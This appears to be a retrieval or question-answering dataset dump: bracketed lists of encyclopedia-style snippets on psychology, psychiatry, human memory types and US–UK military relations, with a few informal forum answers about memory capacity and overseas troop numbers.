psychological theory and research to health, illness and health care. Whereas clinical psychology focuses on mental health and neurological illness, health psychology is concerned with the psychology of a much wider range of health-related behavior including healthy eating, the doctor-patient relationship,", "Bill, where the right wing protestors were joined by the emerging Scientology movement.\nThe field of psychology sometimes came into opposition with psychiatry. Behaviorists argued that mental disorder was a matter of learning not medicine; for example, Hans Eysenck argued that psychiatry \"really has no role to play\". The developing field of clinical psychology in particular came into close contact with psychiatry, often in opposition to its methods, theories and territories. Since 1970 New professional approaches were developed as an alternative or reformist complement to psychiatry. The Radical Therapist, a journal begun in 1971 in North Dakota by Michael Glenn, David", "contributor to the scientific method, introduced it to psychology and claimed that one's biological makeup was the reason why humans are the way they are. He was one of the main drivers behind psychology being looked at in the scientific realm. In addition to Wundt, Sigmund Freud (1856-1939) believed that the church had failed to counsel in the correct way, so he developed psychotherapy, \"the talking therapy\", apart from the church. These were driving factors behind why the responsibility of counseling was moved away from the church and began to be secularized. The church began to fall behind the ever-changing", "William James), and indeed constituted the bulk of what people called \"psychology\". Parapsychology, hypnotism, and psychism were major topics of the early International Congresses. But students of these fields were eventually ostractized, and more or less banished from the Congress in 1900–1905. Parapsychology persisted for a time at Imperial University, with publications such as Clairvoyance and Thoughtography by Tomokichi Fukurai, but here too it was mostly shunned by 1913.\nAs a discipline, psychology has long sought to fend off accusations that it is a \"soft\" science. Philosopher of science Thomas Kuhn's 1962 critique implied psychology overall was in a pre-paradigm state,", "lead is no doubt due in great measure the position that psychology has now acquired as a distinct positive science. Bain established psychology, as influenced by David Hume and Auguste Comte, as a more distinct discipline of science through application of the scientific method. Bain proposed that physiological and psychological processes were linked, and that traditional psychology could be explained in terms of this association. Moreover, he proposed that all knowledge and all mental processes had to be based on actual physical sensations, and not on spontaneous thoughts and ideas, and attempted to identify the link between the mind and", "psychology Psychiatrists are physicians and one of the few professionals in the mental health industry who specialize and are certified in treating mental illness using the biomedical approach to mental disorders including the use of medications. However, biological, genetic and social processes as part of premedicine have been the basis of education in fields such as BA psychology since the 1970s, and in 2013, such academic degrees also may include extensive work on the status of brain, DNA research and its applications.[See, Cornell University, Liberal Arts, College of Arts and Sciences, endowed institution in the US] Clinical psychologists were hired", "of forensic psychology, rehabilitation psychology, trauma psychology, and the law, as found in the society ASAPIL and its flagship journal, Psychological Injury and Law. It is at times controversial, but is constantly being researched and refined. Practitioners must remain abreast of related scientific, regulatory, and ethical developments or risk being challenged in court for the admissibility of their evidence, and even exposing themselves to malpractice claims for negligence.\nPsychological injuries remain contested disorders and conditions, especially because of their association with court and related venues. However, psychologists and other mental health professionals who use state-of-the-art knowledge and procedures can help", "framework of the medical model and this has greatly increased our understanding of the possible biological factors underpinning psychological disorders. However, much of the evidence is inconclusive and findings can be difficult to interpret. For example, in family studies, it is difficult to disentangle the effects of genetics from the effects of environment. It can also be difficult to establish cause and effect. For example, raised levels of dopamine may be a consequence rather than a cause of schizophrenia.\nMany psychologists criticise psychiatry for focusing its attention primarily on symptoms and for assuming that relieving symptoms with drugs cures the problem.", "of growing concern over Psychology Today's position, at the time, regarding issue, also expressed by various academics and numerous public intellectuals, among them the publication's own authors, such as Mikhail Lyubansky, who criticized the publication, noting that \"extraordinary claims (especially those that hurt and damage marginalized groups) require extraordinary evidence and editorial oversight\". Similarly, Christopher Ryan criticized Kanazawa's views and writings, calling him the \"Rush Limbaugh of Evolutionary Psychology\", noting that \"if Rush Limbaugh, Bill O'Reilly, or Ann Coulter had studied science, they'd be penning articles like some of Kanazawa's.\nA shortlist of 10 of Kanazawa's claims is summarized by The" ]

[ "Some suggest that everything you experience is, in some way, encoded in your brain. The issue is recall. \n\nMost people do not have perfect recall but there are some very few people who can. They consider it a burden.\n\n[Total recall: the people who never forget](_URL_1_) < -- Very interesting article\n\nIt is hard to tell what the total memory capacity of the human brain is (how do you measure that...how big is a memory?). It has to be finite of course but it seems it is way more than needed for a human lifetime. It is speculated that [the human brain is capable of storing 2.5 petabytes of data.](_URL_0_) That is about 3 million hours of TV shows (more than 340 years).", "To answer this I'll have to explain a bit about how the brain stores memories.\n\nBrains are *not* like computers. What the brain does *not* do is store pure information that can be decoded exactly the same time and time again. Rather it is believed (and supported by many studies) that the brain stores information through strengthening and weakening of the connections between neurons. This is a more.. abstract way of storing information. \n\nSo your brain will tend to remember things that are most important, and this is strongly connected to emotions. Things that are very pleasing or very hurtful tend to reinforce those connections more strongly, and thus make those memories stand out and last longer.\n\nRepetition also causes those connections to grow stronger over time.\n\nSomeone distracted (I'm going to avoid generalizing adhd specifically) like in your example, may not consolidate all the details, because as there is less focus on the details, there is less repetition for the brain to strengthen the connections with. Or maybe he's not even thinking about the details, in which case it never makes it to the right areas of the brain. (This is a gross simplification)\n\n\nso to finally answer your question, if such a drug existed, the friend would not remember more details. The brain is not a perfect recorder like a video camera or computer. If those details where never encoded into the connections between neurons, they are simply gone. It would be more accurate to say the brain stores experiences I suppose, though that is a form of information. But it's not a pure code that can be decoded time and time again. It's very malleable, prone to error, and can even change into false memories.\n\n\nHope this answers your question. I am sleepy, so I apologize if it's not too clear. I'm happy to answer followup questions." ]

[ "brief storage of information within a specific medium (the line you see after waving a sparkler in your field of vision is created by sensory memory). Short term memory is made up of the information currently in use to complete the task at hand. Long term memory is composed of the systems used to store memory over long periods. It enables one to remember what happened two days ago at noon, or who called last night.\nMiller (1962–1974) declared that studying such fragile things as involuntary memories should not be done. This appears to have been followed since very little research", "memory tasks require participants to retrieve previously learned information. For example, individuals might be asked to produce a series of actions they have seen before or to say a list of words they have heard before. By information type Topographic memory involves the ability to orient oneself in space, to recognize and follow an itinerary, or to recognize familiar places. Getting lost when traveling alone is an example of the failure of topographic memory.\nFlashbulb memories are clear episodic memories of unique and highly emotional events. People remembering where they were or what they were doing when they first", "a childhood memory means they have forgotten the event, there is a difference between availability and accessibility. Availability of a memory is the idea that the memory is intact and is in memory storage. Accessibility of a memory is dictated by the moment in time that a person attempts to recall that memory. Therefore, cues may influence which memories are accessible at any given time even though there may be many more available memories that are not accessed. Some other research suggests that people's earliest memories date back to the ages of 3 or 4 years. Usher and", "to the brain and then processed in a series of stages, which extract multiple types of information from the raw input. In the visual system, for example, sensory signals from the eyes are transmitted to the thalamus and then to the primary visual cortex; inside the cerebral cortex they are sent to areas that extract features such as three-dimensional structure, shape, color, and motion. Memory comes into play in at least two ways. First, it allows sensory information to be evaluated in the context of previous experience. Second, and even more importantly, working memory allows information to be integrated over", "of information in working memory, coordinated by the frontal lobes.\nThe frontal lobes help a person select out memories that are most relevant on a given occasion. It can coordinate various types of information into a coherent memory trace. For example, the knowledge of the information itself, as well as knowing where information came from must be put together into a single memory representation; this is called source monitoring. Sometimes we experience situations where information becomes separated, such as when we recall something, but cannot remember where we remember it from; this is referred to as a source monitoring", "input from other systems and encodes the positive or negative values of conditioned stimuli. Elaborative encoding Elaborative encoding is the process of actively relating new information to knowledge that is already in memory. Memories are a combination of old and new information, so the nature of any particular memory depends as much on the old information already in our memories as it does on the new information coming in through our senses. In other words, how we remember something depends on how we think about it at the time. Many studies have shown that long-term retention is greatly enhanced by", "it constructs a rich set of integrated memories. Several theories suggest that ability to recall information is heightened when physical and mental conditions match those experienced when the information was first encoded. For example, one will often be more successful in recalling a stimulus while chewing bubble gum if one were also chewing gum when one originally encoded the new stimulus. This has also been found to encompass drug- and alcohol-induced recollection; people who encoded memories in an intoxicated state were more successful at recalling them when in a similar state later on. Verbal elaboration has also been shown to", "implicit memory and thus be unknown to us. Memory, the environment, and decision-making The event of a person having placed an item into memory implies that the person has had at least one encounter with that item. The memory system behaves optimally when memories that are more likely to be used are more easily retrievable than less-likely memories. Memory is influenced by practice effects, the concept that greater practice with an item results in easier retrieval; retention effects, which means that memories grow less likely to be retrieved as a longer period of time passes, and spacing effects, in which", "allows us to store information for later retrieval. Memory is often thought of as consisting of both a long-term and short-term store. Long-term memory allows us to store information over prolonged periods (days, weeks, years). We do not yet know the practical limit of long-term memory capacity. Short-term memory allows us to store information over short time scales (seconds or minutes).\nMemory is also often grouped into declarative and procedural forms. Declarative memory—grouped into subsets of semantic and episodic forms of memory—refers to our memory for facts and specific knowledge, specific meanings, and specific experiences (e.g. \"Who was the first president", "Mental time travel Overview, terminology, and relationship to other cognitive capacities Declarative memory refers to the capacity to store and retrieve information that can be explicitly expressed, and consists of both facts or knowledge about the world (semantic memory) and autobiographical details about one’s own experiences (episodic memory). Tulving (1985) originally suggested that episodic memory involved a kind of ‘autonoetic’ (‘self-knowing’) consciousness that required the first-person subjective experience of previously lived events, whereas semantic memory is associated with ‘noetic’ (knowing) consciousness but does not require such mental simulation.\nIt has become increasingly clear that both semantic and episodic memory are integral", "Visual memory Visual memory describes the relationship between perceptual processing and the encoding, storage and retrieval of the resulting neural representations. Visual memory occurs over a broad time range spanning from eye movements to years in order to visually navigate to a previously visited location. Visual memory is a form of memory which preserves some characteristics of our senses pertaining to visual experience. We are able to place in memory visual information which resembles objects, places, animals or people in a mental image. The experience of visual memory is also referred to as the mind's eye through which we can", "Autobiographical memory Autobiographical memory refers to knowledge about events and personal experiences from an individual's own life. Though similar to episodic memory, it differs in that it contains only those experiences which directly pertain to the individual, from across their lifespan. Conway and Pleydell-Pearce (2000) argue that this is one component of the self-memory system. Implicit memory Implicit memory (procedural memory) refers to the use of objects or movements of the body, such as how exactly to use a pencil, drive a car, or ride a bicycle. This type of memory is encoded and it is presumed stored by the", "a person's vocabulary.\nAutobiographical memory is a memory system consisting of episodes recollected from an individual's life, based on a combination of episodic (personal experiences and specific objects, people and events experienced at particular time and place) and semantic (general knowledge and facts about the world) memory.\nSpatial memory is the part of memory responsible for recording information about one's environment and its spatial orientation. For example, a person's spatial memory is required in order to navigate around a familiar city, just as a rat's spatial memory is needed to learn the location of food at the end of a maze. It", "Human memory process Numerous theoretical accounts of memory have differentiated memory for facts and memory for context. Psychologist Endel Tulving (1972; 1983) further defined these two declarative memory conceptions of explicit memory (in which information is consciously registered and recalled) into semantic memory wherein general world knowledge not tied to specific events is stored and episodic memory involving the storage of context-specific information about personal experiences (i.e. time, location, and surroundings of personal knowledge). Conversely, implicit memory (non declarative) involves perhaps unconscious registration (lack of awareness during encoding), yet definite unconscious recollection. Skills and habits, priming, and classical conditioning all", "of personally experienced events (episodic memory). Without the ability to reflect on our past experiences, we would be stuck in a state of constant awakening, without a past and therefore unable to prepare for the future.\nEpisodic memory is the memory we have for our past experiences, which influence our now, and our future. This is different from procedural memory, which is our memory for how to do things. Episodic memories influence our thinking about ourselves, good and bad.\nAutobiographical memories can be retrieved from either the first person perspective, in which individuals see the event through their own eyes, or from", "that the idea that \"memories were stored in our brains\" was \"only a theory\" and \"despite decades of research, the phenomenon of memory remains mysterious.\" This provoked a response by Steven Rose, a neuroscientist from the Open University, who criticised Sheldrake for being \"a researcher trained in another discipline\" (botany) for not \"respect[ing] the data collected by neuroscientists before begin[ning] to offer us alternative explanations,\" and accused Sheldrake of \"ignoring or denying\" \"massive evidence,\" and arguing that \"neuroscience over the past two decades has shown that memories are stored in specific changes in brain cells.\" Giving an example of experiments", "occurs by a complex, unconscious process of abstraction, in which certain details of the incoming sense data are noticed and remembered, and the rest forgotten. What is kept and what is thrown away depends on an internal model or representation of the world, called by psychologists a schema, that is built up over our entire lives. The data is fitted into this schema. Later when events are remembered, memory gaps may even be filled by \"plausible\" data the mind makes up to fit the model; this is called reconstructive memory. How much attention the various", "attempts to capture information such as 'what', 'when' and 'where'\". With episodic memory, individuals are able to recall specific events such as birthday parties and weddings.\nShort-term memory is supported by transient patterns of neuronal communication, dependent on regions of the frontal lobe (especially dorsolateral prefrontal cortex) and the parietal lobe. Long-term memory, on the other hand, is maintained by more stable and permanent changes in neural connections widely spread throughout the brain. The hippocampus is essential (for learning new information) to the consolidation of information from short-term to long-term memory, although it does not seem to store information itself. It", "memory allows people to remember what happened during that short time span without actually practicing the memory. Long-term memory has a much larger capacity than the prior two and actually stores information from both these types of memories to create a long lasting and large memory. Long-term memory is the largest target for research involving selective memory erasure.\nWithin long-term memory there are also different types of long-term memories. Implicit memory is one type of long-term memory that is generally described as the ability to remember how to use objects or specific movements of the body (e.g. using a hammer). Another", "Measurement of memory Sensory Information Storage This is the first system of memory in which the information is brought to us by our senses and the information is retained as long as it is exposed to our senses. As soon as the sense loses contact with the information, it is vanished from the memory. For example, we see many faces at a metro station and they instantly fade from our memory when we look away. This type of memory is extremely volatile and much gets \"lost\" in less than a second unless we pay attention to it. Technically speaking, the", "human information processing. This book introduced the notion of several distinct kinds of storage systems (memories) of limited capacity and of attention as a mechanism for filtering incoming information. Internal versus external events Internal events occur in the human mind. These occurrences of cognition are visible only to the person who experiences them. External events are physical occurrences experienced in a human's environment, such as receiving a gift or encountering a friend. External events affect the mood of an individual depending on how he or she perceives the action. Some evidence suggests that internal events, such as imagination and reasoning,", "Episodic memory Episodic memory is the memory of autobiographical events (times, places, associated emotions, and other contextual who, what, when, where, why knowledge) that can be explicitly stated or conjured. It is the collection of past personal experiences that occurred at a particular time and place. For example, if one remembers the party on their 7th birthday, this is an episodic memory. They allow an individual to figuratively travel back in time to remember the event that took place at that particular time and place.\nSemantic and episodic memory together make up the category of declarative memory, which is one of", "remembered and encoded if learned at 3 in the afternoon. Divisions The brain does not store memories in one unified structure, as might be seen in a computer's hard disk drive. Instead, different types of memory are stored in different regions of the brain. Long-term memory is typically divided up into two major headings: explicit memory and implicit memory. Explicit memory Explicit memory (or declarative memory) refers to all memories that are consciously available. These are encoded by the hippocampus, entorhinal cortex, and perirhinal cortex, but consolidated and stored elsewhere. The precise location of storage is unknown, but the temporal", "type of sensory memory, there is a store for the information, but the store lasts for only a second or so. A common effect of the visual sensory memory is that individuals may remember seeing things that weren't really there or not remembering particular things that were in their line of sight. The memory is only momentary, and if it isn't attended to within a matter of seconds, it is gone.\nThere are two different pathways in the brain that control different functions of what is known inclusively as the visuo-spatial sketchpad. The sketchpad consists of the spatial", "key component in distinguishing memory for experienced events from imagined events. In the majority of cases, it is found that the more ESK a memory contains, the more likely the recalled event has actually been experienced. Unlike lifetime periods and general events, ESK are not organized in their grouping or recall. Instead, they tend to simply 'pop' into the mind. ESK is also thought to be a summary of the content of episodic memories, which are contained in a separate memory system from the autobiographical knowledge base. This way of thinking could explain the rapid loss of event-specific detail, as", "the ability to process or hold seven, plus or minus two items at a time, which then expires after roughly 30 seconds. This is due to short-term memory only having a certain number of \"slots\" in which to store information in. Despite the quick disappearance of information, short-term memory is an essential step for retaining information in long-term memory stores. Without it, information would not be able to be relayed into long-term memory. Sensory Sensory memory is thought of as a process of perception provided by the human senses. Sensory memory retains the information perfectly and accurately for a", "memories are more easily recalled if they are encoded into memory over a longer time interval.\nIt is plausible that the environmental structure, which influences our memory structure, impacts how we create preferences and make decisions.\nEvidence suggests that the memory system is organized in a way that is adapted to the structure of the environment. We are thus able to predict when we will need a certain memory even after controlling for practice, retention, and spacing effects. Affect and memory Memory and emotion, or \"affect\", are closely related and impact each other simultaneously. One's mood determines the thoughts he or she", "is a very attractive idea for many. Thus making the practical use of this technology something that could be used by many people. Different types of memories There are three main types of memories: sensory memory, short-term memory, and long-term memory. Sensory memory in short is the ability to hold sensory information for a short period of time, for example looking at an object and being able to remember what it looked like moments after. Short-term memory is memory that allows a person to recall a short period of time; this can be a few seconds to a minute. Short-term", "also deeply connected with our capacity to make and use tools; to understand cause and effect; to recognize patterns of significance; to comprehend and disclose unique contexts of experience or activity; and to respond to the world in a meaningful way.\nMemory is the ability to preserve, retain, and subsequently recall, knowledge, information or experience. Although memory has traditionally been a persistent theme in philosophy, the late nineteenth and early twentieth centuries also saw the study of memory emerge as a subject of inquiry within the paradigms of cognitive psychology. In recent decades, it has become one of the pillars of", "information that can be recalled and reported.\nThere are many different ways of retaining information in memory. Acquiring and retaining new knowledge relies on the formation of associations created in memory stores. Memory relies on the creation of associations, just as the creation of associations relies on memory when encoding and retaining new material. The retention and retrieval of information in memory requires the information to be firmly embedded within a neural network; which can be done so through traditional methods of repetition and connecting new information with old information. The process of repetition facilitates the process within the brain of" ]

[ "relative size:\n\nThe US has about 500 thousand soldiers stationed overseas (including all the carrier fleets in every ocean on Earth). The UK has 10 thousand soldiers overseas", "The US will generally lead the way into a conflict, and it is then somewhat expected that other nations help out, by sending a few of their men; the UK, Canada, Australia, etc all do that." ]

[ "37 countries surveyed – the United States, Israel, and India – did majorities favour military action. In 34 out of the 37 countries surveyed, the survey found majorities that did not favour military action: in the United Kingdom (75%), France (67%), Switzerland (87%), Czech Republic (64%), Lithuania (83%), Panama (80%), Mexico (94%), etc.\nThis dichotomy between American and international public opinion on the military operations continues to be seen, although opposition to the war is growing in the U.S. as well. A Gallup poll conducted July 10–12, 2009 reported that the majority 61% of Americans do not think the U.S. made", "country, but before long I realised the government as using the Army for its own ends.\nIt is distressing to disobey orders, but when Britain follows America in continuing to wage war against one of the world's poorest countries I feel I have no choice.\nOn Saturday, November 14, 2009, around 1,000 people demonstrated against the war as NATO's parliamentary met in Edinburgh, Scotland while at the same time a poll showed that the majority 71% of Britons want British military forces withdrawn from Afghanistan within 12 months.\nOn the same day, about 200 South Koreans in Seoul protested their government's plan to", "because the three main British political parties (Labour, Conservatives and the Liberal Democrats) all support British operations in the country. However British casualties in the middle of 2006 did lead to the government's decision to reinforce the British contingent.\nToward the end of 2008 the numbers of troops being killed or seriously injured while travelling in lightly armoured Snatch Land Rovers in both Iraq and Afghanistan raised questions in the United Kingdom Parliament about the suitability of the vehicles for use in these theatres. Members of the public and families of killed and injured servicemen have campaigned about perceived problems with", "United States Congress, a privilege rarely accorded to foreign heads of government.\nIn March 2009, a Gallup poll of Americans showed 36% identified Britain as their country's \"most valuable ally\", followed by Canada, Japan, Israel, and Germany rounding out the top five. The poll also indicated that 89% of Americans view the United Kingdom favourably, second only to Canada with 90%. According to the Pew Research Center, a global survey conducted in July 2009 revealed that 70% of Britons who responded had a favourable view of the United States.\nIn 2010, Obama stated \"the United States has no closer friend and ally", "thought that British soldiers are better at nation-building than the Americans, said \"They were very good at lining up local folks to do the job like operating the sewers and turning on the electricity. Far better than us – we are heavy-handed, and in Iraq we don't understand the people and the culture. Thus we did not immediately employ locals in police and military activities to get them to build and stabilize their nation.\"\nCNN war correspondent Michael Ware, who has reported from Iraq since before the US invasion in 2003 had a similar dim view of occupation saying, \"there will", "English at the time). Despite North American socio-cultural influences, Australian public opinion was wary of the United States itself: the visit of the \"Great White Fleet\" of the United States Navy to Sydney and Melbourne in 1908 was greeted with fanfare, but provoked immediate comment that the (British) Royal Navy should make an even greater show of force to restate in the strongest military terms Australia's position as the south-eastern guarantor of the British Empire.\nDuring the Second World War, over a million United States soldiers were at some point stationed in Australia at the request of the Australian Government following", "serious problems involving Italy, Poland, Russia, Denmark and China. British reactions to American events were shaped by past British policies and their own national interests, both strategically and economically. In the Western Hemisphere, as relations with the United States improved, Britain had become cautious about confronting it over issues in Central America. As a naval power, Britain had a long record of insisting that neutral nations abide by its blockades, a perspective that led from the earliest days of the war to de facto support for the Union blockade and frustration in the South.\nDiplomatic observers were suspicious of British", "Britain during the war. Americans were paid five times more than comparable British servicemen, which led to a certain amount of friction with British men and intermarriage with British women.\nIn 1945 Britain sent a portion of the British fleet to assist the planned October invasion of Japan by the United States, but this was cancelled when Japan was forced to surrender unconditionally in August. India Serious tension erupted over American demands that India be given independence, a proposition Churchill vehemently rejected. For years Roosevelt had encouraged Britain's disengagement from India. The American position was based on principled opposition to colonialism,", "United States home front during World War I American entry into the war Firmly maintaining neutrality when World War I began in Europe in 1914, the United States helped supply the Allies, but could not ship anything to Germany because of the British blockade. Sympathies among many politically and culturally influential Americans had favored the British cause from the start of the war, as typified by industrialist Samuel Insull, born in London, who helped young Americans enlist in British or Canadian forces. On the other hand, especially in the Midwest, many Irish Americans and German Americans opposed any American involvement", "so, was not because of Britain's support on the sporting issue. The reason goes much deeper than that. It is in the context of the statement made by a Labour Prime Minister of New Zealand in 1939: \"Where Britain goes, we go.\" We see the Falklands as British territory and the Falklands Islanders as subjects of our Queen. We live at the end of the line and we know the feeling of isolation...With the Falklands Islands, it is family. Historically, Britain has so often on great occasions thrown up the leader that the occasion demanded. I regard Margaret Thatcher as", "is the consensus of some of the nation's most notable commentators and scholars.\"\nMany allies of the U.S. were critical of a new, unilateral sensibility tone in its foreign policy, and showed displeasure by voting, for example, against the U.S. in the United Nations in 2001. Allegations of hypocrisy The U.S. has been criticized for making statements supporting peace and respecting national sovereignty while carrying out military actions such as in Grenada, fomenting a civil war in Colombia to break off Panama, and Iraq. The U.S. has been criticized for advocating free trade while protecting local industries with import tariffs on", "Having held their own against picked British troops, the American army received a much needed boost to their morale after the debâcle of the previous day, while the British acquired a renewed respect for the American ability to stand and fight.", "States and Britain were also the two countries most alike in basic values such as willingness to fight for their country and the importance of freedom.\nIn 1986, 71% of Britons, questioned in a Mori poll the day after Ronald Reagan's bombing of Libya, disagreed with Thatcher's decision to allow the use of RAF bases, while two thirds in a Gallup survey opposed the bombing itself, the reverse of US opinion.\nThe United Kingdom's all-time low poll rating in the United States came in 1994, during the split over Bosnia, when 56% of Americans interviewed considered Britons to be close allies.\nIn a", "Foreign interventions by the United States World War II During the Second World War, the United States sent troops to fight in both Europe and the Pacific. The U.S. was a key participant in many battles, including the Battle of Midway, the Normandy landings, and the Battle of the Bulge. After the war, American troops occupied both Germany and Japan.\nThe United States also gave economic support to a large number of countries and movements who were opposed to the Axis powers. This included the Lend-Lease program, which \"lent\" a wide array of resources and weapons to many countries, especially Great", "supporting Clinton over the Lewinsky scandal.\nA 2006 poll of the US public showed that the United Kingdom, as an 'ally in the war on terror' was viewed more positively than any other country. 76% of the US people polled viewed the British as an 'ally in the War on Terror' according to Rasmussen Reports. According to Harris Interactive, 74% of Americans viewed Great Britain as a 'close ally in the war in Iraq', well ahead of next-ranked Canada at 48%.\nA June 2006 poll by Populus for The Times showed that the number of Britons agreeing that 'it is important for", "the United Kingdom have been used to justify an anti-American stance. Anti-American sentiment has also increased among the general public since the 2003 Invasion of Iraq and the American military's usage of civilian facilities at Shannon Airport which potentially jeopardizes Ireland's official neutrality stance. Australia The Australian Anti-Bases Campaign Coalition (AABCC) was formed on the basis of lobbying and protests that developed over the years from the 1960s when the majority of U.S. bases in Australia were established. It was founded by the New South Wales branch of the PND (People For Nuclear Disarmament). In 1974, several hundred people traveled", "for the Joint Chiefs of Staff Lt. Gen. Gregory S. Newbold commented that, \"There's a broad naïvete in the political class about America's obligations in foreign policy issues, and scary simplicity about the effects that employing American military power can achieve\". Allegations of arrogance Some commentators have thought the United States became arrogant, particularly after its victory in World War II. Critics such as Andrew Bacevich call on America to have a foreign policy \"rooted in humility and realism.\" Foreign policy experts such as Zbigniew Brzezinski counsel a policy of self-restraint and not pressing every advantage, and listening to other", "for the young that were supposed to establish precautions against the possibility of Americans making choices to start future wars. Also, the United States was made to pay heavy reparations to the international community. America's network of allies continues to realign and break apart. Other countries continue to become more hostile, even though it is not always in a military sense of hostility.\nU.S. leaders respond by stimulating the domestic economy with large investments in new technologies. Secondly, the U.S. manages to surreptitiously re-structure the reparations required under the Millennium Treaties. The new US national security strategy is subtle, and has", "a mistake in sending military forces in 2001, while 36% of Americans do. 54% also thought things are going well for the U.S.. An Angus Reid poll conducted July 15–18, 2009, found that 55% of Americans support the military operation, while 35% oppose it. 49% of Americans thought their country did the right thing in sending military forces. About half, 48%, of Americans felt that they did not have a clear idea of what the war is about.\nOutside the United States international public opinion has been largely opposed to the war. In a 47-nation June 2007 survey of global public", "entry of the United States into the war was that Britain was now assured of victory and the future of the empire was safe, but the manner in which British forces were rapidly defeated in the Far East irreversibly harmed Britain's standing and prestige as an imperial power. Most damaging of all was the Fall of Singapore, which had previously been hailed as an impregnable fortress and the eastern equivalent of Gibraltar. The realisation that Britain could not defend its entire empire pushed Australia and New Zealand, which now appeared threatened by Japanese forces, into closer ties with the United", "Senator Nye, many war critics, and members of the American public concluded that the US entered the war for reasons of profit, not policy — because it was in American commercial interest for the United Kingdom not to lose.\nThe committee's findings did not achieve the aim of nationalization of the arms industry, but gave momentum to the non-interventionist movement and sparked the passage of the Neutrality Acts of the 1930s in 1935, 1936, 1937, and 1939.", "media highlighted his militarism and belligerent speeches and imperialistic goals. At the same time, the British were becoming increasingly friendly toward the United States in world affairs. American opinion became more negative toward Germany than towards any other country in Europe. World War I World War I started in August 1914, and the US insisted on neutrality. US President Woodrow Wilson's highest priority was to broker peace talks and used his trusted aide, Colonel House. Apart from an Anglophile element urging early support for Britain, US public opinion reflected that of the president: the sentiment for neutrality was particularly strong", "both American and British generals, who often complained about their unreliability. Unpreparedness The war had been preceded by years of angry diplomatic dispute, yet neither side was ready for war when it came. Britain was heavily engaged in the Napoleonic Wars, most of the British Army was deployed in the Peninsular War in Portugal and Spain, and the Royal Navy was compelled to blockade most of the coast of Europe. The number of British regular troops present in Canada in July 1812 was officially stated to be 6,034, supported by Canadian militia. Throughout the war, the British Secretary of State", "UK by YouGov revealed that 66% of those surveyed held a favourable view of the US and 62% agreed with the assertion that America is Britain's most important ally. However, the survey also revealed that 85% of British citizens believe that the UK has little or no influence on American policies, and that 62% think that America does not consider British interests. Another poll by YouGov in September 2016 revealed that 57% still believed in the special relationship, whilst 37% did not. Iraq War Following the 2003 invasion of Iraq, senior British figures criticized the refusal of the US Government", "a majority of US citizens supported their government's action. However, public opinion had shifted by 2004 to a majority believing that the invasion was a mistake, and has remained so since then. There has also been significant criticism of the war from US politicians and national security and military personnel, including generals who served in the war and have since spoken out against its handling.\nWorldwide, the war and occupation have been officially condemned by 54 countries and the heads of many major religions. Popular anti-war feeling is strong in these and other countries, including the US' allies in the conflict,", "to both declare war on the Axis and abandon the British-European sphere, objectives that were deeply related.\nOn 22 June the United States, followed by the entirety of Latin American countries, removed its Argentinian ambassador. Britain alone maintained their ambassador, rejecting America's characterization of the Argentine regime and accepting \"neutralism\" as a means to guarantee the supply for its population and armies. Above all, though, Britain was aware that the real aim of the United States was to displace it as the dominant economic power by imposing a pro-US government on Argentina. It was necessary for President Franklin Delano Roosevelt to", "However, in the face of strong public support in favor of the Indians, officials of the U.S. Department of Justice chose not to do so. Impact on Anglo-American relations By 1916, the majority of the resources of the American department of the British Foreign office were related to the Indian seditionist movement. Before the outbreak of the war, Sir Cecil Spring Rice, the Ambassador to United States at the time of the war, is known to have urged the British Foreign office not to make this a diplomatic issue. Spring Rice's dispatches cite concerns with regards to American tolerance of", "U.S. forces, supported by British warships and aircraft, under the belief that this would be more palatable to French public opinion, than an Anglo-American invasion. For the same reason, Churchill suggested that British soldiers might wear U.S. Army uniforms, although there is no evidence that this tactic was implemented. (Fleet Air Arm aircraft did carry US \"star\" roundels during the operation, and two British destroyers flew the Stars and Stripes.) In reality, the Eastern Task Force—aimed at Algiers—was commanded by Lieutenant-General Kenneth Anderson and consisted of a brigade from the British 78th and the U.S. 34th Infantry Divisions, along with", "anti-war sentiments were reflected in many western European countries, generally with the populace less sympathetic to the U.S. stance even when politicians in a given country (e.g. the UK and Spain) aligned themselves with the U.S. position. The general populations of France and Germany were opposed to the war and it would have been difficult for their governments had they failed to reflect those sentiments in policy. France's position in particular has been very much maligned within the U.S. After the first UN resolution, France advised the U.S. that it (the USA) had sufficient UN support", "failed and the British were repelled, with heavy losses. War in North America Although the United States of America was not allied to France, war broke out between America and Britain ostensibly over issues of trade embargoes and impressment of American sailors into the Royal Navy, both of which were directly or indirectly linked to the Napoleonic wars (the latter of which was not even brought up during the Treaty of Ghent). For the first two years of the war, a small number of British regular units formed the hard core around which the Canadian militia rallied. Multiple US invasions" ]